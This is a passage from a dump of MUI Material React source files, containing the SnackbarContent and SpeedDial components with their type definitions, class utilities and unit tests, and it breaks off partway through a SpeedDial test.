    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { emphasize } from '@mui/system/colorManipulator';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Paper from '../Paper';\nimport { getSnackbarContentUtilityClass } from './snackbarContentClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes } = ownerState;\n\n  const slots = {\n    root: ['root'],\n    action: ['action'],\n    message: ['message'],\n  };\n\n  return composeClasses(slots, getSnackbarContentUtilityClass, classes);\n};\n\nconst SnackbarContentRoot = styled(Paper, {\n  name: 'MuiSnackbarContent',\n  slot: 'Root',\n})(\n  memoTheme(({ theme }) => {\n    const emphasis = theme.palette.mode === 'light' ? 0.8 : 0.98;\n\n    return {\n      ...theme.typography.body2,\n      color: theme.vars\n        ? theme.vars.palette.SnackbarContent.color\n        : theme.palette.getContrastText(emphasize(theme.palette.background.default, emphasis)),\n      backgroundColor: theme.vars\n        ? theme.vars.palette.SnackbarContent.bg\n        : emphasize(theme.palette.background.default, emphasis),\n      display: 'flex',\n      alignItems: 'center',\n      flexWrap: 'wrap',\n      padding: '6px 16px',\n      flexGrow: 1,\n      [theme.breakpoints.up('sm')]: {\n        flexGrow: 'initial',\n        minWidth: 288,\n      },\n    };\n  }),\n);\n\nconst SnackbarContentMessage = styled('div', {\n  name: 'MuiSnackbarContent',\n  slot: 'Message',\n})({\n  padding: '8px 0',\n});\n\nconst SnackbarContentAction = styled('div', {\n  name: 'MuiSnackbarContent',\n  slot: 'Action',\n})({\n  display: 'flex',\n  alignItems: 'center',\n  marginLeft: 'auto',\n  paddingLeft: 16,\n  marginRight: -8,\n});\n\nconst SnackbarContent = React.forwardRef(function SnackbarContent(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSnackbarContent' });\n  const { action, className, message, role = 'alert', ...other } = props;\n  const ownerState = props;\n  const classes = useUtilityClasses(ownerState);\n\n  return (\n    <SnackbarContentRoot\n      role={role}\n      elevation={6}\n      className={clsx(classes.root, className)}\n      ownerState={ownerState}\n      ref={ref}\n      {...other}\n    >\n      <SnackbarContentMessage className={classes.message} ownerState={ownerState}>\n        {message}\n      </SnackbarContentMessage>\n      {action ? (\n        <SnackbarContentAction className={classes.action} ownerState={ownerState}>\n          {action}\n        </SnackbarContentAction>\n      ) : null}\n    </SnackbarContentRoot>\n  );\n});\n\nSnackbarContent.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The action to display. It renders after the message, at the end of the snackbar.\n   */\n  action: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The message to display.\n   */\n  message: PropTypes.node,\n  /**\n   * The ARIA role attribute of the element.\n   * @default 'alert'\n   */\n  role: PropTypes.string,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default SnackbarContent;\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/SnackbarContent.test.js",
    "content": "import { expect } from 'chai';\nimport { createRenderer, screen } from '@mui/internal-test-utils';\nimport Paper, { paperClasses } from '@mui/material/Paper';\nimport SnackbarContent, { snackbarContentClasses as classes } from '@mui/material/SnackbarContent';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<SnackbarContent />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<SnackbarContent message=\"conform?\" />, () => ({\n    classes,\n    inheritComponent: Paper,\n    render,\n    muiName: 'MuiSnackbarContent',\n    refInstanceof: window.HTMLDivElement,\n    skip: ['componentProp', 'themeVariants'],\n  }));\n\n  describe('prop: action', () => {\n    it('should render the action', () => {\n      const action = <span>action</span>;\n      const { container } = render(\n        <SnackbarContent message=\"message\" data-testid=\"action\" action={action} />,\n      );\n      expect(container.querySelector(`.${classes.action}`)).to.have.class(classes.action);\n      expect(container.querySelector(`.${classes.action}`)).to.contain('span');\n    });\n\n    it('should render an array of elements', () => {\n      const action0 = <span key={0}>action0</span>;\n      const action1 = <span key={1}>action1</span>;\n\n      render(<SnackbarContent message=\"message\" action={[action0, action1]} />);\n\n      expect(screen.getByText('action0')).not.to.equal(null);\n      expect(screen.getByText('action1')).not.to.equal(null);\n    });\n  });\n\n  describe('prop: message', () => {\n    it('should render the message', () => {\n      const message = 'message prop text';\n      render(<SnackbarContent message={<span>{message}</span>} />);\n      expect(screen.getByRole('alert')).to.have.text(message);\n    });\n  });\n\n  describe('prop: role', () => {\n    it('renders the default role', () => {\n      render(<SnackbarContent message=\"alert message\" />);\n      expect(screen.getByRole('alert')).to.have.text('alert message');\n    });\n\n    it('can override the role', () => {\n      render(<SnackbarContent message=\"alertdialog message\" role=\"alertdialog\" />);\n\n      expect(screen.queryByRole('alertdialog')).to.have.text('alertdialog message');\n    });\n  });\n\n  describe('CSS vars', () => {\n    it('should not throw when background.default is a CSS variable', () => {\n      const theme = createTheme({ cssVariables: true });\n      theme.palette = theme.colorSchemes.light.palette;\n      theme.palette.background.default = 'var(--mui-palette-background-default)';\n      expect(() =>\n        render(\n          <ThemeProvider theme={theme}>\n            <SnackbarContent message=\"CSS var test\" />\n          </ThemeProvider>,\n        ),\n      ).not.to.throw();\n    });\n  });\n\n  describe('prop: square', () => {\n    it('should disable the rounded class when square is true', () => {\n      render(<SnackbarContent data-testid=\"snackbar\" message=\"test\" square />);\n\n      expect(screen.getByTestId('snackbar')).not.to.have.class(paperClasses.rounded);\n    });\n\n    it('should apply the rounded class when square is not passed', () => {\n      render(<SnackbarContent data-testid=\"snackbar\" message=\"test\" />);\n\n      expect(screen.getByTestId('snackbar')).to.have.class(paperClasses.rounded);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/index.d.ts",
    "content": "export { default } from './SnackbarContent';\nexport * from './SnackbarContent';\n\nexport { default as snackbarContentClasses } from './snackbarContentClasses';\nexport * from './snackbarContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/index.js",
    "content": "export { default } from './SnackbarContent';\n\nexport { default as snackbarContentClasses } from './snackbarContentClasses';\nexport * from './snackbarContentClasses';\n"
  },
  {
    "path": "packages/mui-material/src/SnackbarContent/snackbarContentClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SnackbarContentClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the message wrapper element. */\n  message: string;\n  /** Styles applied to the action wrapper element if `action` is provided. */\n  action: string;\n}\n\nexport type SnackbarContentClassKey = keyof SnackbarContentClasses;\n\nexport function getSnackbarContentUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSnackbarContent', slot);\n}\n\nconst snackbarContentClasses: SnackbarContentClasses = generateUtilityClasses(\n  'MuiSnackbarContent',\n  ['root', 'message', 'action'],\n);\n\nexport default snackbarContentClasses;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/SpeedDial.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { InternalStandardProps as StandardProps } from '../internal';\nimport { FabProps } from '../Fab';\nimport { TransitionProps } from '../transitions';\nimport { SpeedDialClasses } from './speedDialClasses';\nimport { CreateSlotsAndSlotProps, SlotComponentProps } from '../utils/types';\n\nexport type CloseReason = 'toggle' | 'blur' | 'mouseLeave' | 'escapeKeyDown';\nexport type OpenReason = 'toggle' | 'focus' | 'mouseEnter';\n\nexport interface SpeedDialSlots {\n  /**\n   * The component that renders the root slot.\n   * @default 'div'\n   */\n  root: React.ElementType;\n  /**\n   * The component that renders the transition.\n   * [Follow this guide](https://mui.com/material-ui/transitions/#transitioncomponent-prop) to learn more about the requirements for this component.\n   * @default Zoom\n   */\n  transition: React.ElementType;\n}\n\nexport type SpeedDialSlotsAndSlotProps = CreateSlotsAndSlotProps<\n  SpeedDialSlots,\n  {\n    /**\n     * Props forwarded to the root slot.\n     * By default, the available props are based on div element.\n     */\n    root: SlotComponentProps<'div', React.HTMLAttributes<HTMLDivElement>, SpeedDialOwnerState>;\n    /**\n     * Props forwarded to the transition slot.\n     * By default, the available props are based on the [Zoom](https://mui.com/material-ui/api/zoom/#props) component.\n     */\n    transition: SlotComponentProps<\n      React.ElementType<TransitionProps>,\n      TransitionProps,\n      SpeedDialOwnerState\n    >;\n  }\n>;\n\nexport interface SpeedDialProps\n  extends\n    Omit<StandardProps<React.HTMLAttributes<HTMLDivElement>, 'children'>, 'slots' | 'slotProps'>,\n    SpeedDialSlotsAndSlotProps {\n  /**\n   * SpeedDialActions to display when the SpeedDial is `open`.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<SpeedDialClasses> | undefined;\n  /**\n   * The aria-label of the button element.\n   * Also used to provide the `id` for the `SpeedDial` element and its children.\n   */\n  ariaLabel: string;\n  /**\n   * The direction the actions open relative to the floating action button.\n   * @default 'up'\n   */\n  direction?: 'up' | 'down' | 'left' | 'right' | undefined;\n  /**\n   * If `true`, the SpeedDial is hidden.\n   * @default false\n   */\n  hidden?: boolean | undefined;\n  /**\n   * Props applied to the [`Fab`](https://mui.com/material-ui/api/fab/) element.\n   * @default {}\n   */\n  FabProps?: Partial<FabProps> | undefined;\n  /**\n   * The icon to display in the SpeedDial Fab. The `SpeedDialIcon` component\n   * provides a default Icon with animation.\n   */\n  icon?: React.ReactNode;\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggle\"`, `\"blur\"`, `\"mouseLeave\"`, `\"escapeKeyDown\"`.\n   */\n  onClose?: ((event: React.SyntheticEvent<{}>, reason: CloseReason) => void) | undefined;\n  /**\n   * Callback fired when the component requests to be open.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggle\"`, `\"focus\"`, `\"mouseEnter\"`.\n   */\n  onOpen?: ((event: React.SyntheticEvent<{}>, reason: OpenReason) => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open?: boolean | undefined;\n  /**\n   * The icon to display in the SpeedDial Fab when the SpeedDial is open.\n   */\n  openIcon?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration?: TransitionProps['timeout'] | undefined;\n}\n\nexport interface SpeedDialOwnerState extends SpeedDialProps {}\n\n/**\n *\n * Demos:\n *\n * - [Speed Dial](https://next.mui.com/material-ui/react-speed-dial/)\n *\n * API:\n *\n * - [SpeedDial API](https://next.mui.com/material-ui/api/speed-dial/)\n */\nexport default function SpeedDial(props: SpeedDialProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/SpeedDial.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { isFragment } from 'react-is';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport useTimeout from '@mui/utils/useTimeout';\nimport clamp from '@mui/utils/clamp';\nimport { styled, useTheme } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Zoom from '../Zoom';\nimport Fab from '../Fab';\nimport capitalize from '../utils/capitalize';\nimport isMuiElement from '../utils/isMuiElement';\nimport useForkRef from '../utils/useForkRef';\nimport useControlled from '../utils/useControlled';\nimport speedDialClasses, { getSpeedDialUtilityClass } from './speedDialClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, open, direction } = ownerState;\n\n  const slots = {\n    root: ['root', `direction${capitalize(direction)}`],\n    fab: ['fab'],\n    actions: ['actions', !open && 'actionsClosed'],\n  };\n\n  return composeClasses(slots, getSpeedDialUtilityClass, classes);\n};\n\nfunction getOrientation(direction) {\n  if (direction === 'up' || direction === 'down') {\n    return 'vertical';\n  }\n  if (direction === 'right' || direction === 'left') {\n    return 'horizontal';\n  }\n  return undefined;\n}\n\nconst dialRadius = 32;\nconst spacingActions = 16;\n\nconst SpeedDialRoot = styled('div', {\n  name: 'MuiSpeedDial',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, styles[`direction${capitalize(ownerState.direction)}`]];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    zIndex: (theme.vars || theme).zIndex.speedDial,\n    display: 'flex',\n    alignItems: 'center',\n    pointerEvents: 'none',\n    variants: [\n      {\n        props: {\n          direction: 'up',\n        },\n        style: {\n          flexDirection: 'column-reverse',\n          [`& .${speedDialClasses.actions}`]: {\n            flexDirection: 'column-reverse',\n            marginBottom: -dialRadius,\n            paddingBottom: spacingActions + dialRadius,\n          },\n        },\n      },\n      {\n        props: {\n          direction: 'down',\n        },\n        style: {\n          flexDirection: 'column',\n          [`& .${speedDialClasses.actions}`]: {\n            flexDirection: 'column',\n            marginTop: -dialRadius,\n            paddingTop: spacingActions + dialRadius,\n          },\n        },\n      },\n      {\n        props: {\n          direction: 'left',\n        },\n        style: {\n          flexDirection: 'row-reverse',\n          [`& .${speedDialClasses.actions}`]: {\n            flexDirection: 'row-reverse',\n            marginRight: -dialRadius,\n            paddingRight: spacingActions + dialRadius,\n          },\n        },\n      },\n      {\n        props: {\n          direction: 'right',\n        },\n        style: {\n          flexDirection: 'row',\n          [`& .${speedDialClasses.actions}`]: {\n            flexDirection: 'row',\n            marginLeft: -dialRadius,\n            paddingLeft: spacingActions + dialRadius,\n          },\n        },\n      },\n    ],\n  })),\n);\n\nconst SpeedDialFab = styled(Fab, {\n  name: 'MuiSpeedDial',\n  slot: 'Fab',\n})({\n  pointerEvents: 'auto',\n});\n\nconst SpeedDialActions = styled('div', {\n  name: 'MuiSpeedDial',\n  slot: 'Actions',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.actions, !ownerState.open && styles.actionsClosed];\n  },\n})({\n  display: 'flex',\n  pointerEvents: 'auto',\n  variants: [\n    {\n      props: ({ ownerState }) => !ownerState.open,\n      style: {\n        transition: 'top 0s linear 0.2s',\n        pointerEvents: 'none',\n      },\n    },\n  ],\n});\n\nconst SpeedDial = React.forwardRef(function SpeedDial(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiSpeedDial' });\n  const theme = useTheme();\n  const defaultTransitionDuration = {\n    enter: theme.transitions.duration.enteringScreen,\n    exit: theme.transitions.duration.leavingScreen,\n  };\n\n  const {\n    ariaLabel,\n    FabProps: { ref: origDialButtonRef, ...FabProps } = {},\n    children: childrenProp,\n    className,\n    direction = 'up',\n    hidden = false,\n    icon,\n    onBlur,\n    onClose,\n    onFocus,\n    onKeyDown,\n    onMouseEnter,\n    onMouseLeave,\n    onOpen,\n    open: openProp,\n    openIcon,\n    slots = {},\n    slotProps = {},\n    transitionDuration = defaultTransitionDuration,\n    ...other\n  } = props;\n\n  const [open, setOpenState] = useControlled({\n    controlled: openProp,\n    default: false,\n    name: 'SpeedDial',\n    state: 'open',\n  });\n\n  const ownerState = { ...props, open, direction };\n  const classes = useUtilityClasses(ownerState);\n\n  const eventTimer = useTimeout();\n\n  /**\n   * an index in actions.current\n   */\n  const focusedAction = React.useRef(0);\n\n  /**\n   * pressing this key while the focus is on a child SpeedDialAction focuses\n   * the next SpeedDialAction.\n   * It is equal to the first arrow key pressed while focus is on the SpeedDial\n   * that is not orthogonal to the direction.\n   * @type {utils.ArrowKey?}\n   */\n  const nextItemArrowKey = React.useRef();\n\n  /**\n   * refs to the Button that have an action associated to them in this SpeedDial\n   * [Fab, ...(SpeedDialActions > Button)]\n   * @type {HTMLButtonElement[]}\n   */\n  const actions = React.useRef([]);\n  actions.current = [actions.current[0]];\n\n  const handleOwnFabRef = React.useCallback((fabFef) => {\n    actions.current[0] = fabFef;\n  }, []);\n  const handleFabRef = useForkRef(origDialButtonRef, handleOwnFabRef);\n\n  /**\n   * creates a ref callback for the Button in a SpeedDialAction\n   * Is called before the original ref callback for Button that was set in buttonProps\n   *\n   * @param dialActionIndex {number}\n   * @param fabSlotOrigButtonRef {React.RefObject?}\n   */\n  const createHandleSpeedDialActionButtonRef = (dialActionIndex, fabSlotOrigButtonRef) => {\n    return (buttonRef) => {\n      actions.current[dialActionIndex + 1] = buttonRef;\n      if (fabSlotOrigButtonRef) {\n        fabSlotOrigButtonRef(buttonRef);\n      }\n    };\n  };\n\n  const handleKeyDown = (event) => {\n    if (onKeyDown) {\n      onKeyDown(event);\n    }\n\n    const key = event.key.replace('Arrow', '').toLowerCase();\n    const { current: nextItemArrowKeyCurrent = key } = nextItemArrowKey;\n\n    if (event.key === 'Escape') {\n      setOpenState(false);\n      actions.current[0].focus();\n\n      if (onClose) {\n        onClose(event, 'escapeKeyDown');\n      }\n      return;\n    }\n\n    if (\n      getOrientation(key) === getOrientation(nextItemArrowKeyCurrent) &&\n      getOrientation(key) !== undefined\n    ) {\n      event.preventDefault();\n\n      const actionStep = key === nextItemArrowKeyCurrent ? 1 : -1;\n\n      // stay within array indices\n      const nextAction = clamp(focusedAction.current + actionStep, 0, actions.current.length - 1);\n      actions.current[nextAction].focus();\n      focusedAction.current = nextAction;\n      nextItemArrowKey.current = nextItemArrowKeyCurrent;\n    }\n  };\n\n  React.useEffect(() => {\n    // actions were closed while navigation state was not reset\n    if (!open) {\n      focusedAction.current = 0;\n      nextItemArrowKey.current = undefined;\n    }\n  }, [open]);\n\n  const handleClose = (event) => {\n    if (event.type === 'mouseleave' && onMouseLeave) {\n      onMouseLeave(event);\n    }\n\n    if (event.type === 'blur' && onBlur) {\n      onBlur(event);\n    }\n\n    eventTimer.clear();\n    if (event.type === 'blur') {\n      eventTimer.start(0, () => {\n        setOpenState(false);\n        if (onClose) {\n          onClose(event, 'blur');\n        }\n      });\n    } else {\n      setOpenState(false);\n      if (onClose) {\n        onClose(event, 'mouseLeave');\n      }\n    }\n  };\n\n  const handleClick = (event) => {\n    if (FabProps.onClick) {\n      FabProps.onClick(event);\n    }\n\n    eventTimer.clear();\n\n    if (open) {\n      setOpenState(false);\n      if (onClose) {\n        onClose(event, 'toggle');\n      }\n    } else {\n      setOpenState(true);\n      if (onOpen) {\n        onOpen(event, 'toggle');\n      }\n    }\n  };\n\n  const handleOpen = (event) => {\n    if (event.type === 'mouseenter' && onMouseEnter) {\n      onMouseEnter(event);\n    }\n\n    if (event.type === 'focus' && onFocus) {\n      onFocus(event);\n    }\n\n    // When moving the focus between two items,\n    // a chain if blur and focus event is triggered.\n    // We only handle the last event.\n    eventTimer.clear();\n\n    if (!open) {\n      // Wait for a future focus or click event\n      eventTimer.start(0, () => {\n        setOpenState(true);\n        if (onOpen) {\n          const eventMap = {\n            focus: 'focus',\n            mouseenter: 'mouseEnter',\n          };\n\n          onOpen(event, eventMap[event.type]);\n        }\n      });\n    }\n  };\n\n  // Filter the label for valid id characters.\n  const id = ariaLabel.replace(/^[^a-z]+|[^\\w:.-]+/gi, '');\n\n  const allItems = React.Children.toArray(childrenProp).filter((child) => {\n    if (process.env.NODE_ENV !== 'production') {\n      if (isFragment(child)) {\n        console.error(\n          [\n            \"MUI: The SpeedDial component doesn't accept a Fragment as a child.\",\n            'Consider providing an array instead.',\n          ].join('\\n'),\n        );\n      }\n    }\n\n    return React.isValidElement(child);\n  });\n\n  const children = allItems.map((child, index) => {\n    const { slotProps: childSlotProps = {} } = child.props;\n\n    const { fab: { ref: fabSlotOrigButtonRef, ...fabSlotProps } = {}, ...restOfSlotProps } =\n      childSlotProps;\n\n    const defaultPlacement = getOrientation(direction) === 'vertical' ? 'left' : 'top';\n\n    return React.cloneElement(child, {\n      slotProps: {\n        ...restOfSlotProps,\n        fab: {\n          ...fabSlotProps,\n          ref: createHandleSpeedDialActionButtonRef(index, fabSlotOrigButtonRef),\n        },\n        tooltip:\n          typeof restOfSlotProps.tooltip === 'function'\n            ? (state) => ({\n                placement: defaultPlacement,\n                ...restOfSlotProps.tooltip(state),\n              })\n            : { placement: defaultPlacement, ...restOfSlotProps.tooltip },\n      },\n      delay: 30 * (open ? index : allItems.length - index),\n      open,\n      id: `${id}-action-${index}`,\n    });\n  });\n\n  const externalForwardedProps = {\n    slots,\n    slotProps,\n  };\n\n  const [RootSlot, rootSlotProps] = useSlot('root', {\n    elementType: SpeedDialRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n    },\n    ownerState,\n    ref,\n    className: clsx(classes.root, className),\n    additionalProps: {\n      role: 'presentation',\n    },\n    getSlotProps: (handlers) => ({\n      ...handlers,\n      onKeyDown: (event) => {\n        handlers.onKeyDown?.(event);\n        handleKeyDown(event);\n      },\n      onBlur: (event) => {\n        handlers.onBlur?.(event);\n        handleClose(event);\n      },\n      onFocus: (event) => {\n        handlers.onFocus?.(event);\n        handleOpen(event);\n      },\n      onMouseEnter: (event) => {\n        handlers.onMouseEnter?.(event);\n        handleOpen(event);\n      },\n      onMouseLeave: (event) => {\n        handlers.onMouseLeave?.(event);\n        handleClose(event);\n      },\n    }),\n  });\n\n  const [TransitionSlot, transitionProps] = useSlot('transition', {\n    elementType: Zoom,\n    externalForwardedProps,\n    ownerState,\n  });\n\n  return (\n    <RootSlot {...rootSlotProps}>\n      <TransitionSlot in={!hidden} timeout={transitionDuration} unmountOnExit {...transitionProps}>\n        <SpeedDialFab\n          color=\"primary\"\n          aria-label={ariaLabel}\n          aria-haspopup=\"true\"\n          aria-expanded={open}\n          aria-controls={`${id}-actions`}\n          {...FabProps}\n          onClick={handleClick}\n          className={clsx(classes.fab, FabProps.className)}\n          ref={handleFabRef}\n          ownerState={ownerState}\n        >\n          {React.isValidElement(icon) && isMuiElement(icon, ['SpeedDialIcon'])\n            ? React.cloneElement(icon, { open })\n            : icon}\n        </SpeedDialFab>\n      </TransitionSlot>\n      <SpeedDialActions\n        id={`${id}-actions`}\n        role=\"menu\"\n        aria-orientation={getOrientation(direction)}\n        className={clsx(classes.actions, { [classes.actionsClosed]: !open })}\n        ownerState={ownerState}\n      >\n        {children}\n      </SpeedDialActions>\n    </RootSlot>\n  );\n});\n\nSpeedDial.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * The aria-label of the button element.\n   * Also used to provide the `id` for the `SpeedDial` element and its children.\n   */\n  ariaLabel: PropTypes.string.isRequired,\n  /**\n   * SpeedDialActions to display when the SpeedDial is `open`.\n   */\n  children: PropTypes.node,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * The direction the actions open relative to the floating action button.\n   * @default 'up'\n   */\n  direction: PropTypes.oneOf(['down', 'left', 'right', 'up']),\n  /**\n   * Props applied to the [`Fab`](https://mui.com/material-ui/api/fab/) element.\n   * @default {}\n   */\n  FabProps: PropTypes.object,\n  /**\n   * If `true`, the SpeedDial is hidden.\n   * @default false\n   */\n  hidden: PropTypes.bool,\n  /**\n   * The icon to display in the SpeedDial Fab. The `SpeedDialIcon` component\n   * provides a default Icon with animation.\n   */\n  icon: PropTypes.node,\n  /**\n   * @ignore\n   */\n  onBlur: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be closed.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggle\"`, `\"blur\"`, `\"mouseLeave\"`, `\"escapeKeyDown\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onKeyDown: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseEnter: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onMouseLeave: PropTypes.func,\n  /**\n   * Callback fired when the component requests to be open.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"toggle\"`, `\"focus\"`, `\"mouseEnter\"`.\n   */\n  onOpen: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool,\n  /**\n   * The icon to display in the SpeedDial Fab when the SpeedDial is open.\n   */\n  openIcon: PropTypes.node,\n  /**\n   * The props used for each slot inside.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    transition: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    root: PropTypes.elementType,\n    transition: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * The duration for the transition, in milliseconds.\n   * You may specify a single timeout for all transitions, or individually with an object.\n   * @default {\n   *   enter: theme.transitions.duration.enteringScreen,\n   *   exit: theme.transitions.duration.leavingScreen,\n   * }\n   */\n  transitionDuration: PropTypes.oneOfType([\n    PropTypes.number,\n    PropTypes.shape({\n      appear: PropTypes.number,\n      enter: PropTypes.number,\n      exit: PropTypes.number,\n    }),\n  ]),\n};\n\nexport default SpeedDial;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/SpeedDial.spec.tsx",
    "content": "import SpeedDial from '@mui/material/SpeedDial';\n\n// slotProps.transition should reject unknown props\n<SpeedDial\n  ariaLabel=\"SpeedDial\"\n  slotProps={{\n    // @ts-expect-error — unknown props should be rejected\n    transition: { randomInvalidProp: 'test' },\n  }}\n/>;\n"
  },
  {
    "path": "packages/mui-material/src/SpeedDial/SpeedDial.test.js",
    "content": "import { expect } from 'chai';\nimport { spy } from 'sinon';\nimport {\n  createRenderer,\n  act,\n  fireEvent,\n  screen,\n  flushEffects,\n  isJsdom,\n} from '@mui/internal-test-utils';\nimport Icon from '@mui/material/Icon';\nimport SpeedDial, { speedDialClasses as classes } from '@mui/material/SpeedDial';\nimport SpeedDialAction from '@mui/material/SpeedDialAction';\nimport { tooltipClasses } from '@mui/material/Tooltip';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<SpeedDial />', () => {\n  const { clock, render } = createRenderer({ clock: 'fake' });\n\n  const icon = <Icon>font_icon</Icon>;\n  function FakeAction() {\n    return <div />;\n  }\n  const defaultProps = {\n    open: true,\n    icon,\n    ariaLabel: 'mySpeedDial',\n  };\n\n  describeConformance(<SpeedDial {...defaultProps} />, () => ({\n    classes,\n    inheritComponent: 'div',\n    render,\n    refInstanceof: window.HTMLDivElement,\n    muiName: 'MuiSpeedDial',\n    testVariantProps: { direction: 'right' },\n    slots: { transition: { testWithElement: null }, root: { expectedClassName: classes.root } },\n    skip: [\n      'componentProp', // react-transition-group issue\n    ],\n  }));\n\n  it('should render a Fade transition', () => {\n    const { container } = render(\n      <SpeedDial {...defaultProps}>\n        <FakeAction />\n      </SpeedDial>,\n    );\n\n    expect(container.firstChild.tagName).to.equal('DIV');\n  });\n\n  it('should render a Fab', () => {\n    render(\n      <SpeedDial {...defaultProps}>\n        <FakeAction />\n      </SpeedDial>,\n    );\n\n    expect(screen.getByRole('button', { expanded: true })).not.to.equal(null);\n  });\n\n  it('should render with a null child', () => {\n    render(\n      <SpeedDial {...defaultProps}>\n        <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'One' } }} />\n        {null}\n        <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'Three' } }} />\n      </SpeedDial>,\n    );\n\n    expect(screen.getByRole('menu').children).to.have.lengthOf(2);\n    expect(screen.getAllByRole('menuitem')).to.have.lengthOf(2);\n  });\n\n  it('should pass the open prop to its children', () => {\n    const actionClasses = { fabClosed: 'is-closed' };\n\n    render(\n      <SpeedDial {...defaultProps}>\n        <SpeedDialAction\n          classes={actionClasses}\n          icon={icon}\n          slotProps={{ tooltip: { title: 'SpeedDialAction1' } }}\n        />\n        <SpeedDialAction\n          classes={actionClasses}\n          icon={icon}\n          slotProps={{ tooltip: { title: 'SpeedDialAction2' } }}\n        />\n      </SpeedDial>,\n    );\n\n    const actions = screen.getAllByRole('menuitem');\n    expect(actions).to.have.lengthOf(2);\n    expect(actions.map((element) => element.className)).not.to.contain('is-closed');\n  });\n\n  it('should reset the state of the tooltip when the speed dial is closed while it is open', () => {\n    render(\n      <SpeedDial icon={icon} ariaLabel=\"mySpeedDial\">\n        <SpeedDialAction icon={icon} slotProps={{ tooltip: { title: 'SpeedDialAction1' } }} />\n        <SpeedDialAction icon={icon} slotProps={{ 